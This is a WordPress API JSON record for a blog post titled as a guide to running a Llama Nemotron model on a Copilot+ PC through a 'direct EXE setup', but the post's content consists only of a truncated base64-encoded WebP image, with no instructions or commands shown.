{"id":31945,"date":"2026-07-13T23:18:00","date_gmt":"2026-07-13T15:18:00","guid":{"rendered":"https:\/\/letshuoer.cn\/?p=31945"},"modified":"2026-07-13T23:18:00","modified_gmt":"2026-07-13T15:18:00","slug":"how-to-run-llama-3_3-nemotron-super-49b-v1_5-on-copilot-pc-zero-config-direct-exe-setup","status":"publish","type":"post","link":"https:\/\/letshuoer.cn\/index.php\/2026\/07\/13\/how-to-run-llama-3_3-nemotron-super-49b-v1_5-on-copilot-pc-zero-config-direct-exe-setup\/","title":{"rendered":"How to Run Llama-3_3-Nemotron-Super-49B-v1_5 on Copilot+ PC Zero Config Direct EXE Setup"},"content":{"rendered":"<p><img decoding=\"async\" src=\"data:image\/webp;base64,UklGRh6UAABXRUJQVlA4IBKUAABwhgGdASr4ARkBPjEWiEMiISEUrJ2cIAMEsrazWwUApGOA2xCMDqqlPlf6Fm19nu4sw3\/b7EveP+V5i\/VX28++b\/r+r7\/BeoX\/b\/Lj\/cb3l\/4j\/r+o79oP3B94L\/kfth7rP7z\/yfYA\/pX\/O9bT\/v\/+j3Pv8B\/xP\/p7jP86\/uv\/d9pn\/2fuj8Lf+I\/7\/7me1x\/+fYA\/+nta\/wD\/z62fpD4R\/j30D+J\/v3+c\/4v+E9vHO\/2GfT\/qR\/Lvwh+3\/v\/+f9Vv+d\/lPHn86\/cP9l\/hf3e\/0XyEfk386\/0f9x\/d\/3wPl\/\/B\/r\/CT13\/S\/7L1C\/Zv6z\/wf8R\/p\/2n9MH\/Y\/xXqz+i\/4H\/pfd79gP80\/rH\/H\/vf74e\/n+j\/8v+q8sP6\/\/ov\/F\/rPgC\/m39t\/5H92\/03\/v\/zn0w\/1X\/q\/0P+s\/cf2v\/pH+T\/9X+e\/3HyD\/zj+3f9f\/Gf6X3vP\/h7d\/2x\/+Xudfr9\/5Pz\/O2H5\/JH\/9XHJCxO83IWxiN\/o2nSRJDmiLYL8ycxNK913na3iT2cB9VyJ3eCo5J4X5Fc4sa2U8w0y6rqQI3LTVK\/8jbS+9NQGP6WJ\/6uPLku2+Dse1+Es9+6cM2xXuma\/6mlTISBqVs+JG7LRQQVfodIHp3TayVUUiUTNyBPNlFp1RC+fFZPgwTwXVF6XvEepqU3Xu9jUHlVdyqQkOQY3ojqU1tGKxcKFIKHk1T+n7qDV38UDLsh6gSzRFbNF5IJdOOHlGF4yvz3ATToeFU\/MHUZ4DzPczcouwGdYmdU8bE1z+czYg45W\/\/pkDxwAZA11sfO+BqL6zzWq3bV8\/3Hz574MphEODf\/8eiF5qbONUCZ3qy5fdXrvdPKkIZfOhHKI6Pusah3BP1Mi\/1TLDHbGCkwJvhIUq11N4Ah7qOSXX55z0zJjrYo+GCrxJrVkCrADOCF3JJB+5KRsE8zMjDyU+Y+gCIuZT2xkV+ubA1jzYsJL4LeZevsKXWDV3asxm9mHEOb3c5vU7Zrtg9P8aAOB562VoqeVjTwtQ3U4pJnmz77CLyzAhBKHgZDjSLbc+gM1QR1LvEEMAc892mVI9ZL100nIClFlAlM\/fzXbuVykhla76gs7\/GG\/rBT0EN0r\/6R\/gMCjUXrYkfOpqHuL9o1SQ246XGCjMuhTwvlbtT7ImJ5D33S+fFXJsAvKkleEc1EwFwdjWE29V254FaC942Ut5uBxl7uxz3luOOP+MPxd0\/0moYRb1jy3mlbHLGxMKtV+ZP5A\/7qWkoQ6ehkIr\/K4lt58s1AJ43V276jbeea2+YhKIwFOk+4TAZyX4eWEPXGpc+HmP5+V8toeov7nLvVczUvr2R2wHCX5FktUr6VlqYd6pe9\/ixXCDWNQGc0Xv++Fu\/WsnRRknPo1q01UdYvSmDPq+f7Lv4bxjDwKtb8Hp22qjpxnO1BYg+5ac21ZDJBIhvzldOumCwVe5KmlebksiXYIare2LHyReCEd8Y3bGhVGwvZ5LZPPxyqU6CRLwdhOukYWO7XJRInhn8rVSZtsq2svFaUIKj1ig7pFn5QOChhjvTChcppsWADxPUY8U8ue8KkhLfA4l6C+xPLXghUVSlju14SGp5tNcdYDPxMhy2Yp3hYWHfctfEOnkRcD+f9NuDY2tqoj856y9oJR66uGMvMiepfGivvTdxMRzhbzkFa+35\/qmeg3rYcQVA0xTiEC9GkQerhN1JG7E0nVtF79v8kwvCyVKdl7ZcK+v3gJrUfYYZHORV1o0sL4ZKJoXEuRQ1dxTpSB0pE\/LKE5YPZRW7KJElqICNKn049M\/p6Hpa5pi1MsFw1cPFyOigv70dStf6IlTO+3vMShFDcPua0L5IepUr\/+L9ypD4TWMGvxuy0MCglVAsdwmyeGS\/IsS6GvcSR7dOLLtgjXZqb62qPWExzgihpstfxvrcFJGkT+\/5ijcO7J6TRBoZVLbY7i0wkuKHcILROWnNLGVa60xbe1hM+NQF714TQeivX\/zt9eGEW\/Q+brK\/LRhziPUSbk6Q+UezmI7a5ZhcqlJEJEOQMkPet3lz93rqUGJNWJSiIYBPg1az9inN+e+4ZRNFtHkkgX4GXHa1y1MG7b3BypsCpurytERC24J4+JEkZFKn2DR42blROtEs\/LZl+4iAy3w7lCV2KWwZ9nXpH7UaHk6GeK4Id3pPtdXGfHl3a6NQF\/VuqXV1ClkxdnE3T0XD1nuO3rIGpePBYqSXyw53GP0gpI0q7HJ5K78LIko1qs3322KwZyNMd6x4p\/QTuVTPCbXFD3EamlM14wjkgx4JH4x0Wi1ofC8q2iUB+m4QQtY1Sf6fKZJbHV8LOrck9\/APrnF2vIWWO\/CjY+Qf2n1Q7CpCO\/ZMnGZ+hLT+YTDRtDcqUqj2wXJLM8LHGBovzj73mE4iiIA2uxJb2PH1OlvEPvAxHSuSUELMHvBSMfmgqAgRysZQP60rEKVJwqjy2as4YsCXN8P7HlAMdwM+DNbtkrQCYMRF13U2aqA0uT2vmFYXsgH5lq1HAhd8nxukr6xQgS45rpMbxFQLMU59fuKOinStIVf\/WEvy7hjRBY\/e2B92wt5SdwqrKYOXEjdLz0D3Cs8EQPwcOSVvocZe61ERslEc6qbjeSLFTSaCr5FWQ32kvil977qzKTFonIUV5H2FnvuSanCIUOn+QKup\/jORoUHyS\/NGG2Wo6yG11Rt91UmEe13ndiGXgG25FKV+WsBEBhVspAQzWhV\/doKfIUjRvsAVRlMJwbx34GR6w6omxQi4pdzyuSCyZ2bMOM7Q0R3zIKMPzYocKLLLv7JR2UHbeEdCDEfu6t4I4ukrfukf1aXsAc+Ev38+nIxju0+WRRcmR2+0\/aK7Q4c0ENlT4hBR9ET4WUqHM7USD3YjtlMZIcGzQxD3QOZnBhmqJl7+xB5+VY+j3wqCZuT+re3MDcH8el3umAZ\/jGWLsA4DyUCJR64CuM1ehD+gtDm3UYIt1Awco5E5FXeOcHSzUL8Uoo2bRkmM5FV3gTEf+GtWMBQcgqXrTlGvhwAIkOEwnHiK\/BZZSxHOSI74MNA8F7ygTOeLL3jUz6UqHXJUTw2Vj482LR+3gN9+UMFeW9FdQeexi5vwNtcwH4X41e4IPqlcBfRN\/DQKyXuGJLbF+vwEZMIEh6U0vAOFG6pSAzpB\/YUVqevP2la3Zg\/Thaqbtpq+eMg5yNfEbLD18XWzPVafemkjYJXToSnFRR6Njdf5lykMtxyFcDfw82KESln5ssA\/evFxU56UMG\/MhHeknXrEYhjdYsxacik9ufDkzpKfuuLo559t+V8VV4jQVgwkqpmbQB1rhM4QqDK4EtI4gXuDMvRzL5nqBEIuGoEIQs+VkBKagGuWgfZGHCMl2PIWVPh\/M5mc525OpC0huuvYeK+0SPjw5JVK1GIZMYX8k4TQNQo3wdHfPm6gtLEexavjO+XvOQPxU799jXljKOSQZS1WnFUCOk5l0P2FZBxrZGBwVstHVZ8pufzfWOHvnAOtn\/DJpP0HwvurmtSbQqoormMFU\/hYwa+B18r\/CW2JNI+0idDBzBvQE+QQY4m\/ped+niUX1QGNUaw7Vpp8NoJLXZq88+h\/dDoPc3ErnXJia4B8jRHd\/bDeAlVXZpOTnBRQkSI9ZVUgduli+BSPgm1nbABAphEayGBgy9zZSlxPealOMFfXbnWDrPznKkIWwTGrxyQCWXH\/r12lV5iJcvG5XguagqEmV2IZ3Zy7Hzm9Ekxah49eokE8C7ivOUIPCQ\/i8v0KCzZ4\/\/48jhTQ14yKbALcfZ04hsVTCJfR\/bP3ktFn7kZicV9XjbEGHostPUxiUhTjbhZKITzSLvKVgl9OD9Up1hZZWUKvcqG8hQYSGN8N96E2evd0D7Wxi0\/xakE7wQ5MnEjC22uJt7purLi\/wAx7GivNqui6F9EdjZQ+0C\/vy1q5XLB4mBguXfI75dY54Blx7Vb\/5Hy0XCcB5UjW8EivgTqX32Wmyq5UhERGa6XGWZKUTB82hbudUGjAKXxZZ1DxxnLzza2b2c4wceXx0s6MnVBIz8qxcW8w43QmmRNDqaUSsbfrW0fL1Eo2R0gvZCYz12aIap8ZQL+z9e1W3YAnklFbi55OCFfUi\/SZ4st\/fwFHgZGNKyB6V9H5LmEPDIOsuQQgziZEGsxHTm\/DjD1wyQ7Xx4mLsN6ESEN9UMfP6AA\/vTs7UDtC0xdn1wMu9q\/\/FFfyX\/zfcn3\/Qz27fIyOPzxfKmqQUNtpIhnnLgWkKRBpdrIaENeW1\/Xl6OHDgAUJg\/8K9eA75sVHbMAD31FVqsTvtM7RG5YjptxxXclcFNmBozOwW3c7J8s5evHm51UNckHVsLvGjJN+rn7pB2GCZoNtLHeI1t0Le2OmE82Do4dpSxvgmxk8TqA4nQh2xYZMpy5yF4G7nT0bJ\/ISoAY0cJlDiu3kXeXaDJKg7m+W+H7WEYbzuIi\/4wV8ep1dcJ+YQHmvOp6xfkwUzMH9+vZZL\/n1kAkNqFN8et3WBeQ7YkUttWHU5zF0Pr7iflKiKfN8l5\/veOmBvKe3UhBMvrYJLHUgNLRY32wnOkf1bbmq7aMu17IWCrosoGLlsz7Klqb7wRoeYKf4fxvH8i+SLjkot0mfd2kAiSdtspj3Maqna\/wvmewgL42l286btE47jqjwJrwbflWVksHrMv6n0wYYtaiYYZ9AZIZn9tRUiWgdMFvDfrwRjtWjvPCwE0FHLZduDk\/bN4tLl1wUcQz06n8rTO6CP07v0Ud70y3iztiBN8Q05qK5NJjwJQRWN9+BQZltuEPFJPcXKqrRKdHK1PByA7QBTbT+3mITiNmKpH5j7MuQASGbiyzxtvm14+evMwT3HGaClwv+MLSL8WoUzYK+JtTfTUyhN6X1ZovHP7a8WSceNMm9b92j5SGagO8IEV2J1CSgLakj1zFZKxJNTiY9nNMGRjL5KKDHzQyvLXHXekWr5QRz3YzWTpNmIh9LtnDN9hELFMkiqSsjLXvb++wG3kzeZyFhhoTez1Yx5Pi5+UjettGl+qrQE1eAayWr+INkvkbCmoqBaY5pzMH4L53qW+JhNltXHQ5YYnJfPVsx19NDZbDoqvO6SXFUFiGzNSZFhmfUeqda3cZfRHhUSIgDBxpiUCbytz+W5zq7tSaKFRPMWLX0j3Pbj3N91sf0VSTWHjPJWz425ny8kY2\/zhyno\/ir0I9Vy4Vhjf2r1BB\/Ddau9E2AdqvANYf+F9RJq9H5Uz1W7wCU7skCgQp5+APr\/9vRkgcdVMbFQfzUFwbvUraHWLo5zitgd8bfJxcR38T\/FecH8hrkL\/t\/xgaMVsgRQ9Qt3EUqw30lY\/KEwmoS6U9BdgfMr1VVsUE0o0UlEFhbeZ1j+qBAY3BU7lOBX3781KhjkXUt3PTVyQA8H80jLw9eOkwsqttxuIQ8a5C8Rfl1Cze2J6FyW4YbpaDFONbReeRDEtPGGHjcK1MbFb+RXHB7Dct\/v+1NVrKfPf1P\/0pF6FyshYjOAh13v9vuH7uMdS+oOgRh+UmqytM6FGsL5PWc20BMEW3uDCQEa2zXmTiYHptzaCD48TxMx39YQAW8J0RjLfigT\/dG22LCm2P8cOonr7mMZUgxfrXN3EZ7TD8HfxSO0dCPx0FKxSQiELJp\/9pTyAB5UvxDrl5UsZx\/kYxDu8KYQdE2wocsbSBfeErJTiNdy03CMllZlPyqo+43DdPWNJPCEvQndw4I0fNNNzkdqCeXR9RsruKr0T8PVgcJ+SP8AX+siNp6U8tS0c0geuycL4AwBhFJF+iw3xc3yCyI6nqSMsXFJ82B0N0rbBZEbLvydHekX\/QhN5oroDSCrS5ZYxGSJrIJVkBJi+0ayq+TAPFxTIw2HvYxQEjGAfbegq0WNdY7gkA7+K7uZJAUcP9kGRy2IP8YlSVgY2byikGqy31TfNUTpWI1Wc2Qou2FNHj1ks48bSHQS0Q6\/pvKALOQMtUo10ThFN3hQ9Krb0BF9FhSbF6SQ\/ppCt3r2SdQnqM3GYwR1HxhgLT4lor7Y+2mO+dgMxedh2QWm6lYlfK0Op4Lz7q\/L2C58UTZmuHwrmb50JQFzqAuYOkPo6QLdwMQMvxBog\/SfN7O8JOB+Dsq7vZO512X\/4Nhdg4CfLRdcM\/Tbr8gT7yx0n\/8Ih1KdItx6jaTj179QuPc2Ydtuh1I7GzXZrVVISxXcmiMHRjhOz4HOCauAXpKa3LaeUBwZuDvDsCWfWAOldUAG08nEFphsGvE43rw\/yzkZHPtaZQBjQqHiHpE6So27kiUFr7W1vxMd61LOuup+BkR3K4bw5PLUOBlzLoITgQr7NZabxc8WHgeU4ouwcFg8rz9yG6jWo9D1tZzVpahsmhzgSKcab1EChiPAkeGNEv86sXjOc6c7W6kpL5dOHlUr9UQYuBfu6jxTpJZ2DneS6gmk+PUcGLBr+c2jj8qA9jN7NBh2aHDzvHYwnxCXMzD9IHREwKHfSM3shUmFezsAtRddSof\/WSgXkXKSNr0j1CwcMKxYY0TUCs66ve2X11txbK9pEg+d64XARTZ\/z5azcz48wEMo+OUcSYw+QIxDUAh\/vEo1mz8jBhJXpulbitC7PAbsddktrKHeczorLAaLx4mhS5qMeQfivZOgwCI0Ub1orwE7kB0uEpQPItH+53MuR7I0RQUYqhGfGP8KjqWyHGdccRo4TfIeZXIOafiypLPgjFElUEcod455t7GfAHurcameJ2GPzXHMdlLyPQfwTDHKUpNCN0zYr5fuG\/Lj+DpO\/P8M8RU4ZU333KzOhLBy9sA05iabcGYmaKkOKKVzD9koH\/SI+V7i4R8DgoTc93ShjR2ZR+6mwm92lOqUsHUn2TARLjs45NA0Oe2Bq5kKZBWRgTJADXPIg4EwNrSpbp143NJG2YVaSYrrncD6yDoTivcgCo\/m9YgaOtGTjM\/nhUjs6mXqO0D4d\/9oGhYCgirkb20o3bOokDJ3MMzTI8L0ghg08+5sNlKmTn0zdWMy5nBe2JMkyv0\/0MV2iMP0H4pX966n5V5M6g0aq9PdvUZUtbLsT0+keCDtIwgNnxP9wGTEFCe5jUS1BWeu3VBsROLIu1lbmHmUAN1fbjoQUnxrPWzjGEz5jRBk8e7x8HeefSK5IJkYOPf7SVhBvGhWps+xprY9z0idwtyxFa4LILxU808NPgbdeCVaSV4UFvbzCa66dDGORL2rE42GfOnVFVCH3NdoD0JxEJazqLUUJTJXDq3h1ALuV+HItrgOZaJcIHyaZhb3kT8f\/8DR\/QLYRIzzHJdNG6pOmr7XptYVYAVv1VWq0WE4A67xszNhcPzkDBG32Zxh4QY6vFQ1nRDf6EZk96mzYJUxdvCPCXdw9mgU3ECbBKSD\/MrVQpSHRJRoyMF30qvMZlmLPChFJiRWD1Xi77uE1L74s4wz+tFw3voRXaW4d3zSYTqziCgKW1pstyTnEXa3cKwaeUdUl286dCivTrMRFBQtU2ndhMoYYrq5zvhJj7rWYRQO0KiUXcbZaetQLqwaEsfYwH6XESx7t3xYToG9+M0Js9Ke8QPF9Ku81gRUf\/8AyPCCsS3CGiFdzmA1LS\/vjdlNYw2G1PsRxiAeZ4kj+3s0eRcJUFYTmpaTklNe\/Y3YGNmpfOv1obRH0B8nHrH8mT8Q5gvJtIIQ+PMrNGc3HpeAl066GRJOye2Xd92+\/okfKeW49qz7fO4VtmwlfHQzm6bBHHBUGs7KYp\/iPmLy8S6P4ey6Uraq7P4Aly8LS2jw5L+iKqRvlnd4h3hx+Lbtm1Crq0hOq9nEJXAw1QJ1fye\/uYiFHaVUmVEQ312kIdfojytOK9gu8VRkI44XC\/pMgqk\/r6dWDJ1jusaeIJ+rzCK24\/xHN0b9O+SI1wn0zv1BLv0uiXDpNGjCtBxOq5NBNDqSnZ\/OgQ1Kz5lG3gBPHlLi22ch5DWA2cut+4n3A1RVlt9aezttLSUqQ+Hxnv5rfMZ4l7Rq0fFDL\/48CUlPYzgZE2Og7cXcJKSdkir2wVxTBipJiCeJmuLEmNPPwKLk\/H7vYTEBWlx7IaDEizlKFEGD1ls\/7XmjWA\/HniTjCKO5iqp4n36oVrQ2Sinap9W0GboRdeH+MWl6vSOOt\/T74ygs8GqX4QzjzJA0IRumaZoj5EuUz9xurSVEIDM1cJ4KgR\/ZAcXLwjg1UKVwVcjiZkGT339noW6LfE7CGE1t77GBnOON09XJk+60S3iNz\/NR4aZ1kH7hNTRVv8y+a8eq3cLZnVkzT0am+E32+KWqL+xCA1uDio\/IxnESzmyJfW70PICCO0SyzPwVV4LLBAqvfY\/osUahGAjLW0cFboSslYiZfqUTWpuURk3lVBYSZOcdk8KuuPLZHSZL7+OQ79AD2cz9paobdNVSpdg\/susHWy+kNOs4gjy2ZN8GnIvdbUZm\/biSUogkrSAifuRq4DazAgvK37Qmh0jkxNj\/scH0h2GbOJi398ODmYLojJrPtJ6mL5H1hQVyQ8h75pT9wAUD8WjRY\/uvqhHylJUCpYhnk6gZnGvJ+G5ZTT7ETtu1qjlitCPETlfxeKOUU+fSp2pwO4+22y41o+34qPElqJHs4hUFf0194mpCTgWsCL4wSyNq7ou1ScWYN\/5HkHE3EPcI3MqbyBPVIJcUUPorO1qXW97VydnOwEmhkD7mNmWQ5y\/Xxm1+WY3dE1dp0QSpFTGGQumXZy7Iqj1Bbv\/oLmkCgSG7OwYVDxV\/6S72Ehm5KrMqWQPi7h0DICXiNT1uyXq7evdQnFluEgT9mMThj41AUp2YC0Fp0MTDCDVJ73S82uGHJmWusPsTsNER8fRBGpaywX6pXMlMTkONoMY7RSVVE6yRaXG+JgD1GkIHnYTF9i6HD4ykS456zsgm7OVqBmFGiKX\/6X6OlJzpWEBsjgiNCyjEDqOs7Hs7WifrCDQkMmIeKarB9hnPLFHKSF\/EH42dhcLJhfe0rP1btOc67XOITj0D3L0ZDJpOxejodmZqEeXmcH\/a5PRWNbQtHm5TL3o4YLqSPARmM4aqimYh\/Ajwyr5rPGOuh\/68AQL65W40J3KVqd4J\/lX7kE97rktg2\/ZLKGr1gVoIph46oTAgDRoGPx6e5EdyrdVJrRuvBdYCLoD7tfgMkAavQIJ9XSqBuMxR3fUUMdISK35ojfuZINnaHjOuFgWj+2CC0uMWWOm4Lw6ovlgpfkPjaaTi+WUdlZyRMfvBN+zQbxfNzV9JUs5FZQ9gkMcAQE2XvoFJ\/rNjErjb37bjMITxsQGK3BWrfqw3498NBPMy\/aaz7AA3uBiRZkf5EsFSQPuS2GdyIIsxfLLXhi1RLk\/i7bSkMGXhPXDHP+l8NNYiCpa4fqyV0E+B37waInkxGEVaipQhgO8jmWBxB\/Yy9ZAcMupWOvd7n8lokhuxEXNb8PZU97fu1+XwfMhUn11dw0Rhjffm8HHoq85KVzMThMABArSTWdAG65j2hZLl1pmiDvWd+rabh+FNUcd+2+BsvjeA0Vj4OoYpSAJ+3uFMoBNjmmcCRXBgUXL59vV8pZOrm5FxqHx+VwKBIL8YpXESS0411u1pOdroBFgZu6GJMaUDdeJr0uAuMSRnZDJXETYCt0s6RB4KMZv536ZjcZcHrESy6IxLq9p3q36N3+wlaDzMRWyWx0pwQkm0Ohw6ntYrCZC9GAgxChoxoiQAuD9G9BpcBDxry7SNpWwTnfiilnbOfik4tie1MMoijyvFUKMDgeRRu5FjpHn8dtf+wzZfTKx\/Xf6YFVgK218wok1GrhcecXtHPavoEB9Z0ZnQMiSy\/TnTuElYY3epSxisKuWJ80TcEgCEGjZkkUA1AsguFYRABdCRNR5XLS5tk62bqsok0b0rkq4ANfIIKKjvdbzyeDY35R4wmVQycdiN6Alz2U4Oo5OjUuh6KoQxXL\/j6Q3ROcz9kAF+J6bF0KQR0Ztl9ddJZBpAibaG9diAOd3LGYsd0XH1g3pZzYl\/BWGSaqS2H\/naCqKb4CX22f7s6GZd1Nun7V3sVsp+CV8WfN5yW\/sCTztSlFAYACjrC2LlWO3nRz8P8c2yp1RaSM2wUCuoX+6\/eBRmK3b\/v2+VHjk\/z1DGMZiv19WErWYazYbsdKEThcsWcdmrINfuyTnkcX5q\/raC3rZ+DhbTgpEukJoWG4SO6deLBEqvQV5Z8gFGJnD+sHm1KvzafEwm5DLSqldkkVu539e9MujOhrNw39JxluKIYp5B0iYzJ6GSyqLNIp6K18QXVO65uQd0A61EtqX8E8stXIg\/SwKK4OZof2RepphyYpW1UrMvRaBIXuBe7LUISYj\/dtqwD+5S0YDmaL3KbNqXmd9mpVnrrswS0Gyt1DJwQX761SQtgIXgzX02E6J+YU3Yuw4I0MXwbjywMIpRhLzVZNRLqSnbhl\/Jti0Hoy5LFyqmPiw8dnkZJUIcCePFb7QJtwtnxPJjdDhZUEiu418Yk3PLO2tARc0J0yyTgg6E6UkTC8GfTNApi\/VVKeG4gIbxqhmSdPbsAKDVPS\/l8Wke1xB\/qRC5vHS6rOi7PkMu1e2Z+\/IfNDrvMr7bMks\/LPQXhc8VTMnhPN7CTJ8acPAiWjTHP7oDVnWNhOLAAP14aD2H6KGmy7uJnbFEsUhQupiMGB8ogdqr\/scXcQFSVSE7xGGQwcR5cP4p35\/JdK+xLocwPIl2JW+vLyl2ofJOJCrY\/QNLQxYQFAADXWauDf8bpIFbM905B90s8gc9VUWvk51pbjq9EbTajRCLGEqrq4rDzqKWrBNnvvL2vkzi1\/Egn+IrqSNIh3CfyK9\/Tf8lfX+7Kmig5WcYbn0tPydtobJUPZ5+MTKc9a+rpDGsm3kn7YclVXvQUUDXI69gR3gzOt\/C9INNfdrGuvB6HZVYzkjS0IGt5Ynk6mlIKVPo51Yc\/Nbq3NprQN7bcVh9yKuxND4lo02TJfgqt\/0LqSb6gsxOiRj4E1FhPunRqJq5XfwOezUj28euPvEDGBwOwgJzCuxNUwLx57NoTzgesNX5wwD4fz95Uxsc7cfjkk0HG9S8M4jIYXHQGeVGWyTc+ixuZcrMeIZAGxSZVBbsgZsDmT76UjXQTpTU53b+UJtnUMMBx45bHmCiWgoU9m3EpUL66WTw4dqfcUOKLpP61VOcQB1Nn95waQooXGtHY6VePjIpbFtOW5MDcXDgcVIBhshGkoCaiurJSRFdDweG4N2bGApedxEFxD1BmQXgt2C6sxwmwKxkpL8\/6n4gEt\/4SnfFgnpLTTgPcmgkc6AY750H+2UJ5vPxCNYtwsq0pjjvVt31lyK1jKAFEN0KBT1pueob1Xm5wEgP4Up1bVdwlDHs+ebeyNPj9q6s3w2VZcwDKspc2RhJh6GukYwtvDCna6O+7MaYqeaiQDL96\/UKCEgs57FXDUersCCBGOqyIwC2YNqUuI2WtsxfmfqryHAoBiaDkVKXNZ1zA5+gp3QQdnhDlbFIk0RoKcvw8e7ZB5UaqQ5LDuyT5RcLRZ5khyYat3iw7aK86jA4lHz002fLGE\/v4peammReGlG4OVp0LX062x95dJ2Ax4zVI2XwUTrx+7m3u95ReAnsHXXguRWWaKGumLSEEnZHW9O7iTCW9X0v3CPSziHrnIVfhIkHKNm1tReZXYsFORXQwXmsnU2cQg5h3AiNHWh4dTH2qL+MO1Bg5NH7PWxYsmz6tBzul7mPNUkmP50kC+7aNZYW9F65ZXuYkCW0Nt7Iinpn6Kica8f6ZI3sbpbqX57dQVCkG6XS7W6FwSToInrepGcHuIiaQzlZlHxfJcGlFE2tdmVsmvU1O5FjapEIgcQJqxeUeoI1pW8kwSmaN99OAJo41jJ9FV+wnbCRW+X7iQKQdf4oQTTZPvgjfODMXBz\/mCpHV3btM+yHdrGieKnSc9jpOz0WrK6V4VV4hoyCFwtI7iJOFZVkpsj44Ki4zfj9H12jNPKseqqWRbiBXO03H\/LJMx9GhFxNvALwW0I\/Zca5eyOsFNg0D2xX8Y5aRJjbiTIEaQaG5FVcBuf35JFnu7Z\/GzLlJPfkfUvfHNowOrVzq22I132OS0H9\/UFDuDrME5nBt11UHFwsJHymPd+G50C1idsM0nS1pS+51CsFcZj5WdRQ4ooy3GZCjL9yoiQJx\/iyrGQ2sH+\/YEzVr0kNDenHpOo5\/ml3zAzBrz\/j8yNR5\/8XdWtpHKZSLjkpCvM0GNpOQYwXgWZekmbGBbVzNIeWaXC7MSIlRSv+cliJsVEsR5U2OF3qXCPegdmCKST71T+7wYMOnIRYI\/uecGFM8twB5\/oj7Pl5MDOIqxVondTDRd0S6Ji8xaSuw9X3ryH9iGH5x\/vw6y5mYye6ZbzovZGleDZq0igrGxnHUzliwCaj7eTFHA1DZCJz\/wIzI6fjDyYEdvBmtwal6wNQiaMbpdTqyemEFG5GnCpUf3wW6fEkwy14XcQom9XPqSTCwqFQLgHbEjRJdu5QjsWgQRYX8GtdWZfVu6weJlpSpNDJLCt3Io1dMVaBGytiJKzRr1Umtf4dog89XxL1e4snWeHexlj40bAkt8yXMCuu2Mun5eqx\/NXG6ZZ\/Cv4tEcnEfU1DQow3WiboQqyBZn3gE4jRmSkbs3IlJOU9pIl\/hDe1OjianK7Hg80zv9iDPlUm6Axa8ggGbKHNZ4pU5AoW6IJKCk0AIkDuTJ\/UyvwrZFD8VkyS\/cEcz4MzUmtT3UP+1IhvmdLiHI4\/3sVTJMTSAgsHiRytLDE2mSx0bpjWGIfH4muHZ9xgkWUDp+tFptkluQ0d9LmXRvikiK57jTHc0kqS9ErRFCSHau7vzidVqnXjPYv2hrOBO2vnVraHO7B\/04k\/NhFzL0jfYNmEbtT61GipLX7\/EapfLaMC5FGJ+f8pYOPjgRZiU6Xnr3liAqqp+p3wY8KNxc72WO9dVQrP8UMq8eD5NDPsVI6PR6q+NmBWUXnoR4Q+l9fl8zhjG0CgEC4ZSCnLj4j26E6Q55O7lSGsf430EAEb6DKwr\/o\/p1thzNw3sfuiHBunOjhE+qh7yvEPdfta9lqfTZffy9BoZtMQOrh+iTe+319CCvZwRcN9rzGfg4jx8wvYhSARnpXjVqPUc7k8OhFpNjiuH+HF1cs6eNeAsnWlT09kakm7APMIa\/yggbK1YH8BK2P3r86AwrpSyP02kuHWsU\/EFFM7BQ\/vuxu550e+6Q6z7w\/ORwdmaf1YLYE6RowxcPLxnFjVapIk619cAXZCNB7feUjPcuFj2pFtp1mO\/PJ0WJ2gYRnhKLmilyZ96fOwLGUqAcV7+Nj\/BHUXO1QJiExJxV+eMpZrQiTjDlOBG8K+0UAeORfW1tFaBnOSupnYJD2z6qDt8UOnf5sJPWp2CHIs\/5y7sUKgvc3bUzLijbJPE9IifacJwv62kMeHZznVkn\/bmbVL\/u4p3VtE2l\/m0SQ9fee37P\/vLd+J8+zFzeHwVOSczPZmMXAYEV4lYfj7w9CSYQkwt2Kg\/AGm+\/Nj0UW72Qk0Q+Cn1WmB4dtQmNiIaWvURCgOkBgQVW8D8VCL+sbBB57JseWUhij4TyRokqBuQ8QoeKSskD06sQ9IYgECucaeDDh\/n2sL73Kwrjkp3VOm65fDC\/bp1EjC31LEtk5+WfjgYCi4dyrYGWrhRXyG91ykunauPzdSOhEIzIp\/8rlD+EmA4oYI+EodeKaZ+Rc7nYcWedZ93DJFwRUIkogsiT166iwPx6d6gi6rK\/olOcia6HDUTiI9oVqZXh0Peu\/RGbMnOLNCkh4+KTMcYzKtiFAMGrKHu0ZjKNtwIVQkfTTT6KPg83nGMYYMESEbySNwRWKMqweMZj1ajDt\/0p0iBuAuRgJgFyTs4wLbGaEjnWCo02n8TmsMpPVjz6bOxz6K+iyKmeiibawMPG0TDYxknbINJYgumovQbvm5s5azVt4a9MrtVpo4UoZ2JPPreMlb3XOeyXGXsQ45lHWx8kcDPUlS7uljEeirVl\/nX7lIT\/jOYCZuZmXoflxGqxzruVggC8AgYuTJ49XFP9SaP1O43UGTz7Vhf7vf3tKDvxtaJGBXxt+043QUVEJdmdvbqLXnMXXSuWrmfWweY3bxAsRB41ucrUilXR\/LIyJqFV7Ru\/jTz9uEPrmg7QKd9IVVpq\/mhh21NzTrKKqIGaejMmc+RXWIS6g0RT0JaSj+VEqQV07kwV7YQUJu60P0K3VorlOfwaE7KPagb11Q6YvScUcAmkCG\/MA\/fyuBxQSy+mfdJcfdQGfwbZ3yguORhaDzCx9qNyzRNw8TpSaksL0B+SEworcQpoRz2a0ozae34W8X5yGkXyIgFb7nvTIr617dX+\/EM6u9HMNoMcAgJu+BnPnGVN\/tLs3v3LOARV5nmzgq9iOqltsPLv0dZOJKbX68q3mUUJ6F+MuebPr0EddnJ0oWzK45GN\/QetYuZwi2kR5+Y+OItdEiYVmygPWxuMxsJyjwhvEk6b56kVlbINuA4Z\/GrvGplcHeXTOFjAtLBEItHbeg5Ge0VPFXpW4UAv6KWX7MPIKzPqaL78TnErHzKG1uQNlP5leZ+m1J0kgU32B7x2Iy\/fJlXab3QsJxm2HBlsz5sBIUbYkSqdSMg10OPO4Dfde5GtqV7prNSPRf47CuT4xd6C1M2VMeeDR3IMPjjA3WCqT4X7cQ7mrsnlZgvWVBK5+1Vj\/D\/HVJYy87WGocUEmcr8B1LOQxnScie1Hzn8NoGloSyVA1D6lLqdQV9ra0fBn9i\/z490lckOYceS1ZAXD4xQdKRwLp9IbKjZIYVxPZncz1HsmrlVP4qj5O\/Jdrvt1cpmPfH3WonvZPk4GGcFUFRhRwbC9EvD8\/JGjnCLHPhutnk42120Fg2vaXbhUEmQDQQjWnqWzliPUGFjdPzVMD1EEsSAd03W6cCdidXU2SJDMU42+i3GVvwLvbTFPzEuQC3qSjvHlKXhpNOxMmbO6k2nZoUZxrNCKZfTnYE8sTFX\/IUY1ki7Nxui+CC8l+YHjl1OZUe0UGN8JEIZP1Y\/YqNtB5Pxhkr7JGcqbDVoNP